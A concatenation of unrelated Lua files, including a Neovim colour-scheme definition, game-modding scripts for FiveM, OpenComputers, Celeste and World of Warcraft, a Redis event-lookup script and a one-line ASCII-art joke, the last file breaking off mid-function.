-- syntax['Tooltip'] = {}
syntax["Directory"] = { fg = colors.blue }
syntax["Title"] = { fg = colors.fg_special_cold, style = "bold" }
syntax["Visual"] = { fg = colors.fg_main, bg = colors.magenta_intense_bg }
syntax["Whitespace"] = syntax["NonText"]
syntax["TabLine"] = { fg = colors.fg_main, bg = colors.bg_tab_inactive }
syntax["TabLineSel"] = { fg = colors.fg_tab_accent, bg = colors.bg_tab_active }
syntax["TabLineFill"] = { fg = colors.bg_main, bg = colors.bg_tab_bar }
syntax["Search"] = { fg = colors.fg_main, bg = colors.green_intense_bg }
syntax["EndOfBuffer"] = { fg = colors.fg_inactive }
syntax["MatchParen"] = { fg = colors.fg_main, bg = colors.bg_paren_match }
syntax["Pmenu"] = { fg = colors.fg_active, bg = colors.bg_active }
syntax["PmenuSel"] = { fg = colors.fg_dim, bg = colors.bg_dim }
syntax["PmenuSbar"] = { fg = colors.bg_main, bg = colors.bg_inactive }
syntax["PmenuThumb"] = syntax["Cursor"]
syntax["StatusLine"] = { fg = colors.fg_active, bg = colors.bg_active }
syntax["StatusLineNC"] = { fg = colors.fg_inactive, bg = colors.bg_inactive }
syntax["VertSplit"] = syntax["Normal"]
syntax["DiffAdd"] = { fg = colors.fg_diff_added, bg = colors.bg_diff_added }
syntax["DiffChange"] = { fg = colors.fg_diff_changed, bg = colors.bg_diff_changed }
syntax["DiffDelete"] = { fg = colors.fg_diff_removed, bg = colors.bg_diff_removed }
syntax["DiffText"] = { fg = colors.fg_diff_changed, bg = colors.bg_diff_changed }
syntax["SpellBad"] = { fg = colors.fg_main, style = "undercurl" }
syntax["SpellCap"] = { fg = colors.fg_main, style = "undercurl" }
-- syntax['SpellLocal'] = {}
-- syntax['SpellRare'] = {}
syntax["WarningMsg"] = { fg = colors.yellow_alt }
-- syntax
syntax["Comment"] = { fg = colors.fg_alt, style = "italic" }
syntax["String"] = { fg = colors.blue_alt }
syntax["Boolean"] = { fg = colors.blue, style = "bold" }
syntax["Character"] = { fg = colors.blue_alt }
syntax["Conditional"] = { fg = colors.magenta_alt_other }
syntax["Constant"] = { fg = colors.blue_alt_other }
syntax["Function"] = { fg = colors.magenta }
syntax["Identifier"] = { fg = colors.cyan }
syntax["Include"] = { fg = colors.red_alt_other }
syntax["Label"] = { fg = colors.cyan }
syntax["Todo"] = { fg = colors.magenta, style = "bold" }
syntax["Type"] = { fg = colors.cyan_alt_other }
syntax["Number"] = { fg = colors.blue_alt_other_faint }
syntax["Operator"] = { fg = colors.magenta_alt_other }
syntax["Float"] = syntax["Number"]
syntax["PreCondit"] = syntax["Include"]
syntax["Statement"] = syntax["Conditional"]
syntax["Repeat"] = syntax["Conditional"]
syntax["Keyword"] = syntax["Conditional"]
syntax["Exception"] = syntax["Conditional"]
syntax["PreProc"] = syntax["Include"]
syntax["Define"] = syntax["Include"]
syntax["Macro"] = syntax["Include"]
syntax["StorageClass"] = syntax["Conditional"]
syntax["Structure"] = syntax["Conditional"]
syntax["Typedef"] = syntax["Type"]
-- syntax['Special'] = {}
-- syntax['SpecialChar'] = {}
syntax["Tag"] = { fg = colors.magenta_active }
syntax["Delimiter"] = { fg = colors.fg_main }
-- syntax['SpecialComment'] = {}
-- syntax['Debug'] = {}
syntax["Underlined"] = { fg = colors.fg_main, style = "underline" }
-- syntax['Ignore'] = {}
syntax["Error"] = syntax["ErrorMsg"]
-- languages
-- lua
syntax["luaTableConstructor"] = { fg = colors.magenta_alt }
syntax["luaConstant"] = { fg = colors.blue_alt_other, style = "bold" }
syntax["luaComment"] = syntax["Comment"]
syntax["luaStatement"] = syntax["Statement"]
syntax["luafunctioncall"] = syntax["Function"]
syntax["luaemmyfluff"] = syntax["NonText"]
syntax["luaTodo"] = syntax["Todo"]
syntax["luaVarName"] = syntax["Label"]
syntax["luaFunc"] = syntax["Function"]
-- python
syntax["pythonoperator"] = { fg = colors.fg_main }
-- css
syntax["cssVendor"] = syntax["Statement"]
-- vim
syntax["nvimidentifier"] = syntax["Identifier"]
syntax["nvimmap"] = syntax["Conditional"]
syntax["nvimplainassignment"] = syntax["Type"]
syntax["vimBracket"] = { fg = colors.fg_main }
syntax["vimCommentString"] = syntax["Comment"]
syntax["vimCommentTitle"] = syntax["Include"]
syntax["vimFuncSID"] = { fg = colors.fg_main }
syntax["vimFuncVar"] = syntax["Constant"]
syntax["vimIsCommand"] = { fg = colors.fg_main }
syntax["vimLet"] = syntax["Conditional"]
syntax["vimMapLhs"] = { fg = colors.fg_main }
syntax["vimMapModKey"] = { fg = colors.fg_main }
syntax["vimNotation"] = { fg = colors.fg_main }
syntax["vimcommand"] = syntax["Conditional"]
syntax["vimmap"] = syntax["Conditional"]
syntax["vimnotfunc"] = syntax["Conditional"]
syntax["vimvar"] = syntax["Label"]
-- TODO some options to highlight headers
-- markdown
syntax["markdownblockquote"] = { fg = colors.magenta_faint, style = "bold" }
syntax["markdownbold"] = { fg = colors.fg_main, style = "bold" }
syntax["markdownbolditalic"] = { fg = colors.fg_main, style = "bold" }
syntax["markdowncode"] = { fg = colors.fg_special_mild, bg = colors.bg_dim }
syntax["markdowncodeblock"] = { fg = colors.fg_special_mild, bg = colors.bg_dim }
syntax["markdowncodedelimiter"] = { fg = colors.green_alt_other, style = "bold" }
syntax["markdownfootnote"] = { fg = colors.cyan_alt_faint, style = "italic" }
syntax["markdownfootnotedefinition"] = { fg = colors.fg_main, style = "italic" }
syntax["markdownh1"] = { fg = colors.fg_main, bg = colors.magenta_nuanced_bg, style = "bold" }
syntax["markdownh2"] = { fg = colors.fg_special_warm, bg = colors.red_nuanced_bg, style = "bold" }
syntax["markdownh3"] = { fg = colors.fg_special_cold, bg = colors.blue_nuanced_bg, style = "bold" }
syntax["markdownh4"] = { fg = colors.fg_special_mild, bg = colors.cyan_nuanced_bg, style = "bold" }
syntax["markdownh5"] = { fg = colors.fg_special_calm, style = "bold" }
syntax["markdownh6"] = { fg = colors.yellow_nuanced_fg, style = "bold" }
syntax["markdownitalic"] = { fg = colors.fg_special_cold, style = "italic" }
syntax["markdownlinebreak"] = { fg = colors.cyan_refine_fg, bg = colors.cyan_refine_bg, style = "underline" }
syntax["markdownlinktext"] = { fg = colors.blue_faint, style = "italic" }
syntax["markdownlistmarker"] = { fg = colors.fg_alt, style = "bold" }
syntax["markdownrule"] = { fg = colors.fg_special_warm, style = "bold" }
syntax["markdownurl"] = { fg = colors.blue_faint }
-- nix
syntax["nixattributedefinition"] = { fg = colors.cyan }
syntax["nixattribute"] = { fg = colors.blue_alt_other }
syntax["nixfunctioncall"] = { fg = colors.magenta }
-- plugins
-- lsp
syntax["lspdiagnosticssignerror"] = { fg = colors.red_active, bg = colors.bg_main, style = "bold" }
syntax["lspdiagnosticssignhint"] = { fg = colors.green_active, bg = colors.bg_main, style = "bold" }
syntax["lspdiagnosticssigninformation"] = { fg = colors.green_active, bg = colors.bg_main, style = "bold" }
syntax["lspdiagnosticssignwarning"] = { fg = colors.yellow_active, bg = colors.bg_main, style = "bold" }
syntax["lspdiagnosticsunderlineerror"] = { fg = colors.red_active, style = "underline" }
syntax["lspdiagnosticsunderlineinformation"] = { fg = colors.green_active, style = "underline" }
syntax["lspdiagnosticsunderlinewarning"] = { fg = colors.yellow_active, style = "underline" }
syntax["lspdiagnosticsvirtualtexterror"] = { fg = colors.red_active, style = "bold" }
syntax["lspdiagnosticsvirtualtexthint"] = { fg = colors.green_active, style = "bold" }
syntax["lspdiagnosticsvirtualtextwarning"] = { fg = colors.yellow_active, style = "bold" }
syntax["lspdiagnosticsfloatingerror"] = { fg = colors.red_active, bg = colors.bg_active }
syntax["lspdiagnosticsfloatingwarning"] = { fg = colors.yellow_active, bg = colors.bg_active }
syntax["lspdiagnosticsfloatinginformation"] = { fg = colors.green_active, bg = colors.bg_active }
syntax["lspdiagnosticsfloatinghint"] = { fg = colors.green_active, bg = colors.bg_active }
-- treesitter
syntax["tsliteral"] = { fg = colors.blue_alt, style = "bold" }
syntax["tsannotation"] = { fg = colors.blue_nuanced_bg }
syntax["tsboolean"] = syntax["Boolean"]
syntax["tscharacter"] = syntax["Character"]
syntax["tscomment"] = syntax["Comment"]
syntax["tsconditional"] = syntax["Conditional"]
syntax["tsconstant"] = syntax["Constant"]
syntax["tsconstbuiltin"] = syntax["Constant"]
syntax["tsconstmacro"] = syntax["Macro"]
syntax["tserror"] = { fg = colors.fg_main }
syntax["tsexception"] = syntax["Conditional"]
syntax["tsfield"] = syntax["Identifier"]
syntax["tsfloat"] = syntax["Float"]
syntax["tsfunction"] = syntax["Function"]
syntax["tsfuncbuiltin"] = syntax["Function"]
syntax["tsfuncmacro"] = syntax["Function"]
syntax["tsinclude"] = syntax["Include"]
syntax["tskeyword"] = syntax["Keyword"]
syntax["tslabel"] = syntax["Label"]
syntax["tsmethod"] = syntax["Function"]
syntax["tsnamespace"] = syntax["Conditional"]
syntax["tsnumber"] = syntax["Number"]
syntax["tsoperator"] = syntax["Operator"]
syntax["tsparameterreference"] = syntax["Constant"]
syntax["tsproperty"] = syntax["tsfield"]
syntax["tspunctdelimiter"] = { fg = colors.fg_main }
syntax["tspunctbracket"] = { fg = colors.fg_main }
syntax["tspunctspecial"] = { fg = colors.fg_main }
syntax["tsrepeat"] = syntax["Conditional"]
syntax["tsstring"] = syntax["String"]
syntax["tsstringregex"] = { fg = colors.fg_escape_char_construct }
syntax["tsstringescape"] = { fg = colors.fg_escape_char_backslash }
syntax["tsstrong"] = { fg = colors.fg_main, style = "bold" }
syntax["tsconstructor"] = syntax["Type"]
syntax["tskeywordfunction"] = syntax["Type"]
syntax["tsparameter"] = syntax["Label"]
-- syntax['tsvariable'] = syntax['Identifier']
syntax["tsvariablebuiltin"] = syntax["Conditional"]
syntax["tstag"] = syntax["Label"]
syntax["tstagdelimiter"] = syntax["Label"]
syntax["tstitle"] = { fg = colors.cyan_nuanced_fg }
syntax["tstype"] = syntax["Type"]
syntax["tstypebuiltin"] = syntax["Type"]
syntax["tsemphasis"] = { fg = colors.fg_main, style = "italic" }
syntax["telescopematching"] = { fg = colors.fg_main, bg = colors.green_intense_bg, style = "bold" }
-- startify
syntax["startifybracket"] = { fg = colors.fg_main }
syntax["startifyfile"] = { fg = colors.fg_main }
syntax["startifyfooter"] = { fg = colors.fg_special_mild }
syntax["startifyheader"] = syntax["Title"]
syntax["startifypath"] = { fg = colors.fg_main }
syntax["startifysection"] = { fg = colors.fg_special_warm, style = "bold" }
syntax["startifyslash"] = { fg = colors.fg_main }
syntax["startifyspecial"] = { fg = colors.fg_special_warm, style = "bold" }
-- nvim tree
syntax["nvimtreefoldericon"] = { fg = colors.blue }
-- bufferline
syntax["buffercurrent"] = { fg = colors.fg_tab_accent, bg = colors.bg_tab_active }
syntax["buffercurrentmod"] = { fg = colors.yellow_active, bg = colors.bg_tab_active }
syntax["buffercurrentsign"] = { fg = colors.fg_tab_accent, bg = colors.bg_tab_active, style = "bold" }
syntax["buffercurrenttarget"] = { fg = colors.magenta_active, bg = colors.bg_tab_active, style = "bold" }
syntax["bufferinactive"] = { fg = colors.fg_main, bg = colors.bg_tab_inactive }
syntax["bufferinactivemod"] = { fg = colors.green_active, bg = colors.bg_tab_inactive }
syntax["bufferinactivesign"] = { fg = colors.fg_tab_accent, bg = colors.bg_tab_inactive, style = "bold" }
syntax["bufferinactivetarget"] = { fg = colors.magenta_active, bg = colors.bg_tab_inactive, style = "bold" }
syntax["buffervisible"] = { fg = colors.fg_main, bg = colors.bg_tab_active }
syntax["buffervisiblemod"] = { fg = colors.green_active, bg = colors.bg_tab_active }
syntax["buffervisiblesign"] = { fg = colors.fg_tab_accent, bg = colors.bg_tab_active, style = "bold" }
syntax["buffervisibletarget"] = { fg = colors.magenta_active, bg = colors.bg_tab_active, style = "bold" }
-- rainbow parens
syntax["rainbowcol1"] = { fg = colors.green_alt_other }
syntax["rainbowcol2"] = { fg = colors.magenta_alt_other }
syntax["rainbowcol3"] = { fg = colors.cyan_alt_other }
syntax["rainbowcol4"] = { fg = colors.yellow_alt_other }
syntax["rainbowcol5"] = { fg = colors.blue_alt_other }
syntax["rainbowcol6"] = { fg = colors.green_alt }
syntax["rainbowcol7"] = { fg = colors.magenta_alt_other }
-- gitsigns
syntax["GitSignsAdd"] = syntax["DiffAdd"]
syntax["GitSignsChange"] = syntax["DiffChange"]
syntax["GitSignsDelete"] = syntax["DiffDelete"]
-- vgit
syntax["VGitSignAdd"] = syntax["DiffAdd"]
syntax["VgitSignChange"] = syntax["DiffChange"]
syntax["VGitSignRemove"] = syntax["DiffDelete"]
-- neogit
syntax["NeogitDiffAddRegion"] = syntax["DiffAdd"]
syntax["NeogitDiffAddHighlight"] = { fg = colors.fg_diff_refine_added, bg = colors.bg_diff_refine_added }
syntax["NeogitDiffDeleteRegion"] = syntax["DiffDelete"]
syntax["NeogitDiffDeleteHighlight"] = { fg = colors.fg_diff_refine_removed, bg = colors.bg_diff_refine_removed }
syntax["NeogitUnstagedchanges"] = { fg = colors.cyan }
syntax["NeogitUnstagedchangesRegion"] = { fg = colors.cyan }
syntax["NeogitDiffContextHighlight"] = { fg = colors.fg_inactive, bg = colors.bg_inactive }
syntax["NeogitHunkHeader"] = { fg = colors.cyan, bg = colors.bg_alt }
syntax["NeogitHunkHeaderHighlight"] = { fg = colors.fg_diff_heading, bg = colors.bg_diff_heading }
-- lir
syntax["LirDir"] = syntax["Directory"]
if g.modus_termtrans_enable == 1 then
syntax.Normal.bg = colors.none
syntax.Folded.bg = colors.none
syntax.LineNr.bg = colors.none
syntax.CursorLineNr.bg = colors.none
syntax.SignColumn.bg = colors.none
end
if g.modus_cursorline_intense == 1 then
syntax.CursorLine.bg = colors.bg_hl_line_intense
end
if g.modus_faint_syntax == 1 then
syntax.Boolean.fg = colors.blue_faint
syntax.Character.fg = colors.blue_alt_faint
syntax.Conditional.fg = colors.magenta_alt_other_faint
syntax.Constant.fg = colors.blue_alt_other_faint
syntax.Function.fg = colors.blue_alt_other_faint
syntax.Identifier.fg = colors.cyan_faint
syntax.Include.fg = colors.red_alt_other_faint
syntax.Label.fg = colors.cyan_faint
syntax.Todo.fg = colors.magenta_faint
syntax.Type.fg = colors.magenta_alt_faint
syntax.Number.fg = colors.blue_alt_other_faint
syntax.Operator.fg = colors.magenta_alt_other_faint
syntax.luaTableConstructor.fg = colors.magenta_alt_faint
syntax.tsliteral.fg = colors.blue_alt_faint
end
if g.modus_yellow_comments == 1 then
syntax.Comment.fg = colors.fg_comment_yellow
end
if g.modus_green_strings == 1 then
syntax.String.fg = colors.green_alt
end
if g.modus_italic_strings == 1 then
syntax.String.style = "italic"
end
for group, highlights in pairs(syntax) do
highlighter(group, highlights)
end
end
function M.set_terminal(colors)
g.terminal_color_0 = "#555555"
g.terminal_color_8 = "#222222"
g.terminal_color_1 = colors.red_faint[1]
g.terminal_color_9 = colors.red_intense[1]
g.terminal_color_2 = colors.green_faint[1]
g.terminal_color_10 = colors.green_intense[1]
g.terminal_color_3 = colors.yellow_faint[1]
g.terminal_color_11 = colors.yellow_intense[1]
g.terminal_color_4 = colors.blue_faint[1]
g.terminal_color_12 = colors.blue_intense[1]
g.terminal_color_5 = colors.magenta_faint[1]
g.terminal_color_13 = colors.magenta_intense[1]
g.terminal_color_6 = colors.cyan_faint[1]
g.terminal_color_14 = colors.cyan_intense[1]
g.terminal_color_7 = "#ffffff"
g.terminal_color_15 = "#dddddd"
end
return M
|
local RenderTargets = {
{model=`xm_prop_x17_tv_scrn_01`,name='prop_x17_tv_scrn_01'},
{model=`xm_prop_x17_tv_scrn_02`,name='prop_x17_tv_scrn_02'},
{model=`xm_prop_x17_tv_scrn_03`,name='prop_x17_tv_scrn_03'},
{model=`xm_prop_x17_tv_scrn_04`,name='prop_x17_tv_scrn_04'},
{model=`xm_prop_x17_tv_scrn_05`,name='prop_x17_tv_scrn_05'},
{model=`xm_prop_x17_tv_scrn_06`,name='prop_x17_tv_scrn_06'},
{model=`xm_prop_x17_tv_scrn_07`,name='prop_x17_tv_scrn_07'},
{model=`xm_prop_x17_tv_scrn_08`,name='prop_x17_tv_scrn_08'},
{model=`xm_prop_x17_tv_scrn_09`,name='prop_x17_tv_scrn_09'},
{model=`xm_prop_x17_tv_scrn_10`,name='prop_x17_tv_scrn_10'},
{model=`xm_prop_x17_tv_scrn_11`,name='prop_x17_tv_scrn_11'},
{model=`xm_prop_x17_tv_scrn_12`,name='prop_x17_tv_scrn_12'},
{model=`xm_prop_x17_tv_scrn_13`,name='prop_x17_tv_scrn_13'},
{model=`xm_prop_x17_tv_scrn_14`,name='prop_x17_tv_scrn_14'},
{model=`xm_prop_x17_tv_scrn_15`,name='prop_x17_tv_scrn_15'},
{model=`xm_prop_x17_tv_scrn_16`,name='prop_x17_tv_scrn_16'},
{model=`xm_prop_x17_tv_scrn_17`,name='prop_x17_tv_scrn_17'},
{model=`xm_prop_x17_tv_scrn_18`,name='prop_x17_tv_scrn_18'},
{model=`xm_prop_x17_tv_scrn_19`,name='prop_x17_tv_scrn_19'},
}
local lastDraw = 0
local testRadius = 2.0
local index = 1
function FloatyDraw(coords, heading, callback)
local testCoords = coords + vector3(0,0,0.5)
if not IsSphereVisible(testCoords, testRadius) then
-- Not visible on screen, not attempting draw at all
return 'Not on screen'
end
local camCoord = GetFinalRenderedCamCoord()
local distance = #( camCoord - coords )
if distance > 100 then
-- Not drawing: Target coordinates are further than the prop LOD dist!
return 'Point out of range'
end
local diff = (testCoords - camCoord)
local diffAngle = math.deg(math.atan(diff.y, diff.x))
local compare = diffAngle - heading
if compare < 0 and compare > -180 then
return 'Not a visible angle'
end
local now = GetGameTimer()
if lastDraw == now then
index = index + 1
else
index = 1
end
if RenderTargets[index] then
lastDraw = now
local RT = RenderTargets[index]
if not RT.rt then
RT.rt = RenderTarget(RT.model, RT.name)
end
if not RT.entity or not DoesEntityExist(RT.entity) then
RT.entity = CreateObjectNoOffset(RT.model, coords, false, false, false)
SetEntityAsMissionEntity(RT.entity, true, true) -- Do not cull, plx!
SetEntityCollision(RT.entity, false, false)
SetEntityAlpha(RT.entity, 254) -- Makes the background completely transparent!
end
SetEntityCoordsNoOffset(RT.entity, coords, false, false, false)
SetEntityHeading(RT.entity, heading)
local error = RT.rt(function()
callback(RT.entity, distance)
end)
if error then
print('FloatyDraw failed callback: ' .. message)
Citizen.Wait(1000)
return 'Failed callback: ' .. message
end
else
print('FloatyDraw ran out of draw targets! Can only do 19 at a time!')
Citizen.Wait(1000)
return 'Too many targets!'
end
end
exports('FloatyDraw', FloatyDraw)
AddEventHandler('onResourceStop',function(resourceName)
if resourceName == GetCurrentResourceName() then
for i, target in pairs(RenderTargets) do
if target.rt then
target.rt:release()
end
if target.entity and DoesEntityExist(target.entity) then
DeleteEntity(target.entity)
end
end
end
end)
|
--OpenComputers Mining v1.0
--uploadscantoholo.lua v1.0
--Takes files generated during scan and displays the relative positions using the hologram projector.
--for use with geoscan.lua v2.0
--Takes the files generated by geoscan2 and represents the data on two holograms.
--Holograms are limited to 32 voxels in the y axis, while the geolyzer has 64 in
--the y axis. The bottom hologram handles everything below the center point and
--the top hologram handles everything above the center point.
--Does not automatically figure out how many files of each type are present, so
--the user must manually tell the program how many of each file type exist in
--the scan directory.
--Requires the coorindates.txt file in order to determine where the center point
--is, then it determines where each point is relative to the center point so that
--the center point of the scan is always at the center point of the hologram pair.
local component = require("component")
--CONSTANTS========================================
local holo = component.proxy(component.get("f07"))
local holo2 = component.proxy(component.get("899"))
--RARE CONSTANTS===================================
local pausefreq=20
local scandirectory = "scanresults/"
local lootfiletype = ".txt"
local lfilebase = "scanValue"
local lcount = 0
local lf
--file to save air locations to
local afilebase = "scanAir"
local acount = 0
local af = assert(io.open(scandirectory .. afilebase .. acount .. lootfiletype))
--file to save water/lava locations to
local wfilebase = "scanWater"
local wcount = 0
local wf = assert(io.open(scandirectory .. wfilebase .. wcount .. lootfiletype))
local coordfilename = "coordinates"
local cf = assert(io.open(scandirectory .. coordfilename .. lootfiletype))
local holox = 48
local holoy = 32
local holoz = 48
holo.setScale(3)
holo2.setScale(3)
holo.setPaletteColor(1, 16776960) --yellow - for loot
holo.setPaletteColor(2, 16747520) --dark orange - for water/lava
holo.setPaletteColor(3, 128) --dark blue - for air
holo2.setPaletteColor(1, 16776960) --yellow - for loot
holo2.setPaletteColor(2, 16747520) --dark orange - for water/lava
holo2.setPaletteColor(3, 128) --dark blue - for air
--END CONSTANTS====================================
local function writetoholo(file, value)
line = file:read("*line")
count=0
while not (line == nil) do
x = tonumber(string.sub(line, 1, 5))
y = tonumber(string.sub(line, 6, 10))
z = tonumber(string.sub(line, 11, 15))
if y-yorigin > 0 then
print("Setting holo2 " .. holox/2+x-xorigin .. " " .. y-yorigin .. " " .. holoz/2+z-zorigin .. " to " .. value)
holo2.set(holox/2+x-xorigin, y-yorigin, holoz/2+z-zorigin, value)
else
print("Setting holo1 " .. holox/2+x-xorigin .. " " .. holoy+y-yorigin .. " " .. holoz/2+z-zorigin .. " to " .. value)
holo.set(holox/2+x-xorigin, holoy+y-yorigin, holoz/2+z-zorigin, value)
end
line = file:read("*line")
if count >= pausefreq then
os.sleep(3)
count = 0
end
count = count + 1
end
file:close()
end
xorigin = math.floor(tonumber(cf:read("*line")))
yorigin = math.floor(tonumber(cf:read("*line")))
zorigin = math.floor(tonumber(cf:read("*line")))
cf:close()
print("Number of Value files: ")
val = tonumber(io.read())
print("Number of Air files: ")
air = tonumber(io.read())
print("Number of Water files: ")
wat = tonumber(io.read())
holo.clear()
holo2.clear()
for i=0,val-1 do
lf = assert(io.open(scandirectory .. lfilebase .. i .. lootfiletype))
writetoholo(lf, 1)
end
for i=0,wat-1 do
wf = assert(io.open(scandirectory .. wfilebase .. i .. lootfiletype))
writetoholo(wf, 2)
end
for i=0,air-1 do
af = assert(io.open(scandirectory .. afilebase .. i .. lootfiletype))
writetoholo(af, 3)
end
|
local TTY = require "ttysnap"
require "util.flags"
require "util.io"
require "util.string"
local options = lp.options(...) {
palette = '';
term_size = '80x24';
font = 'Cousine';
font_size = 16;
prefix = 'ttysnap/';
}
-- parse options that need parsing
options.palette = flags.mapOf(flags.number, flags.string)(nil, options.palette)
options.font_size = tonumber(options.font_size)
local tty
-- Extract screenshots from a ttyrec file.
-- Looks for options.prefix/<frame number>.png
-- If it finds it, emits a normal "image" tag.
-- If it doesn't find it, initializes TTY library if needed and then takes a
-- screenshot.
lp.defmacro('ttysnap', 1, function(frame)
frame = tonumber(frame)
name = '%s%08d.png' % {options.prefix, frame}
if not io.exists(name) then
if not tty then tty = TTY:init(options.file, options) end
tty:seek(frame)
tty:snap(name)
end
return '[img %s]' % name
end)
|
print([[ *Notices Bulge*
__ ___ _ _ _ _ _
\ \ / / |__ __ _| |_ ( ) ___ | |_| |__ (_) ___
\ \ /\ / /| '_ \ / _\`| __|// / __| | __| '_ \| |/ __|
\ V V / | | | | (_| | |_ \__ \ | |_| | | | |\__ \
\_/\_/ |_| |_|\__,_|\__| |___/ \___|_| |_|_|/___/]])
|
local drawableSprite = require("structs.drawable_sprite")
local summitCheckpoint = {}
summitCheckpoint.name = "MaxHelpingHand/CustomSummitCheckpoint"
summitCheckpoint.depth = 8999
summitCheckpoint.placements = {
name = "summit_checkpoint",
data = {
firstDigit = "zero",
secondDigit = "zero",
spriteDirectory = "MaxHelpingHand/summitcheckpoints",
confettiColors = "fe2074,205efe,cefe20"
}
}
local backTexture = "%s/base02"
local digitBackground = "%s/%s/numberbg"
local digitForeground = "%s/%s/number"
function summitCheckpoint.sprite(room, entity)
local directory = entity.spriteDirectory
local digit1 = entity.firstDigit
local digit2 = entity.secondDigit
local backSprite = drawableSprite.fromTexture(string.format(backTexture, directory), entity)
local backDigit1 = drawableSprite.fromTexture(string.format(digitBackground, directory, digit1), entity)
local frontDigit1 = drawableSprite.fromTexture(string.format(digitForeground, directory, digit1), entity)
local backDigit2 = drawableSprite.fromTexture(string.format(digitBackground, directory, digit2), entity)
local frontDigit2 = drawableSprite.fromTexture(string.format(digitForeground, directory, digit2), entity)
backDigit1:addPosition(-2, 4)
frontDigit1:addPosition(-2, 4)
backDigit2:addPosition(2, 4)
frontDigit2:addPosition(2, 4)
local sprites = {
backSprite,
backDigit1,
backDigit2,
frontDigit1,
frontDigit2
}
return sprites
end
return summitCheckpoint
|
addEvent ( "onClientVehicleHandlingChange", true )
|
local id, user = unpack(ARGV);
user = cjson.decode(user);
local reply = {};
if (redis.call('SISMEMBER', 'USER:'..user.id..':DEADDROPS', id) ~= 1) then
-- This is not your drop, gtfo
return {"This is not your drop, gtfo", false, 403};
end
local location = redis.call('HGET', "dd:" .. id, 'location');
local eventIDs = redis.call('ZRANGE', 'DEADDROP:'..id..':EVENTS', 0, -1, 'withscores');
for j=1,#eventIDs,2 do
local eventid = eventIDs[j];
local time = eventIDs[j+1];
local rawevent = redis.call('HGETALL', eventid);
-- transform to k,v table
local event = {};
for i=1,#rawevent,2 do
event[rawevent[i]]=rawevent[i+1];
end
event['time']=time;
table.insert(reply, event);
end
return {false, cjson.encode({location=location,events=reply}), 200};
|
local _, Addon = ...
local t = Addon.ThreatPlates
---------------------------------------------------------------------------------------------------
-- Imported functions and constants
---------------------------------------------------------------------------------------------------
-- Lua APIs
local abs = abs
local pairs = pairs
local ipairs = ipairs
local string = string
local table = table
local tonumber = tonumber
local select = select
local type = type
-- WoW APIs
local CLASS_SORT_ORDER = CLASS_SORT_ORDER
local InCombatLockdown, IsInInstance = InCombatLockdown, IsInInstance
local SetCVar, GetCVar, GetCVarBool = SetCVar, GetCVar, GetCVarBool
local UnitReaction = UnitReaction
local GetSpellInfo = GetSpellInfo
-- ThreatPlates APIs
local LibStub = LibStub
local L = t.L
local PATH_ART = t.Art
-- local TidyPlatesThreat = LibStub("AceAddon-3.0"):GetAddon("TidyPlatesThreat");
local TidyPlatesThreat = TidyPlatesThreat
local UNIT_TYPES = {
{
Faction = "Friendly", Disabled = "nameplateShowFriends",
UnitTypes = { "Player", "NPC", "Totem", "Guardian", "Pet", "Minus"}
},
{
Faction = "Enemy", Disabled = "nameplateShowEnemies",
UnitTypes = { "Player", "NPC", "Totem", "Guardian", "Pet", "Minus" }
},
{
Faction = "Neutral", Disabled = "nameplateShowEnemies",
UnitTypes = { "NPC", "Minus" }
}
}
local AURA_STYLE = {
wide = {
IconWidth = 26.5,
IconHeight = 14.5,
ShowBorder = true,
Duration = {
Anchor = "RIGHT",
InsideAnchor = true,
HorizontalOffset = -1,
VerticalOffset = 8,
Font = {
Typeface = Addon.DEFAULT_SMALL_FONT,
Size = 10,
Transparency = 1,
Color = t.RGB(255, 255, 255),
flags = "OUTLINE",
Shadow = true,
HorizontalAlignment = "RIGHT",
VerticalAlignment = "CENTER",
}
},
StackCount = {
Anchor = "RIGHT",
InsideAnchor = true,
HorizontalOffset = -1,
VerticalOffset = -6,
Font = {
Typeface = Addon.DEFAULT_SMALL_FONT,
Size = 10,
Transparency = 1,
Color = t.RGB(255, 255, 255),
flags = "OUTLINE",
Shadow = true,
HorizontalAlignment = "RIGHT",
VerticalAlignment = "CENTER",
}
},
},
square = {
IconWidth = 16.5,
IconHeight = 14.5,
ShowBorder = true,
Duration = {
Anchor = "RIGHT",
InsideAnchor = true,
HorizontalOffset = 0,
VerticalOffset = 8,
Font = {
Typeface = Addon.DEFAULT_SMALL_FONT,
Size = 10,
Transparency = 1,
Color = t.RGB(255, 255, 255),
flags = "OUTLINE",
Shadow = true,
HorizontalAlignment = "RIGHT",
VerticalAlignment = "CENTER",
}
},
StackCount = {
Anchor = "RIGHT",
InsideAnchor = true,
HorizontalOffset = 0,
VerticalOffset = -6,
Font = {
Typeface = Addon.DEFAULT_SMALL_FONT,
Size = 10,
Transparency = 1,
Color = t.RGB(255, 255, 255),
flags = "OUTLINE",
Shadow = true,
HorizontalAlignment = "RIGHT",
VerticalAlignment = "CENTER",
}
},
}
}
-- local reference to current profile
local db
-- table for storing the options dialog
local options = nil
-- Functions
local function GetSpellName(number)
local n = GetSpellInfo(number)
return n
end
function Addon:InitializeCustomNameplates()
local db = TidyPlatesThreat.db.profile
db.uniqueSettings.map = {}
for i, unique_unit in pairs(db.uniqueSettings) do
if unique_unit.name and unique_unit.name ~= "" then
db.uniqueSettings.map[unique_unit.name] = unique_unit
end
end
end
local function UpdateSpecial() -- Need to add a way to update options table.
Addon:InitializeCustomNameplates()
Addon:ForceUpdate()
end
local function GetValue(info)
local DB = TidyPlatesThreat.db.profile
local value = DB
local keys = info.arg
for index = 1, #keys do
value = value[keys[index]]
end
return value
end
local function CheckIfValueExists(widget_info, setting)
local info = { arg = Addon.ConcatTables(widget_info, setting) }
return GetValue(info) ~= nil
end
local function SetValuePlain(info, value)
-- info: table with path to setting in options dialog, that was changed
-- info.arg: table with parameter arg from options definition
local DB = TidyPlatesThreat.db.profile
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]] = value
end
local function SetValue(info, value)
SetValuePlain(info, value)
Addon:ForceUpdate()
end
local function SetSelectValue(info, value)
local select = info.values
SetValue(info, select[value])
end
local function GetSelectValue(info)
local value = GetValue(info)
local select = info.values
return select[value]
end
local function GetValueChar(info)
local DB = TidyPlatesThreat.db.char
local value = DB
local keys = info.arg
for index = 1, #keys do
value = value[keys[index]]
end
return value
end
local function SetValueChar(info, value)
local DB = TidyPlatesThreat.db.char
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]] = value
Addon:ForceUpdate()
end
local function GetCVarTPTP(info)
return tonumber(GetCVar(info.arg))
end
local function GetCVarBoolTPTP(info)
return GetCVarBool(info.arg)
end
local function SetCVarTPTP(info, value)
if InCombatLockdown() then
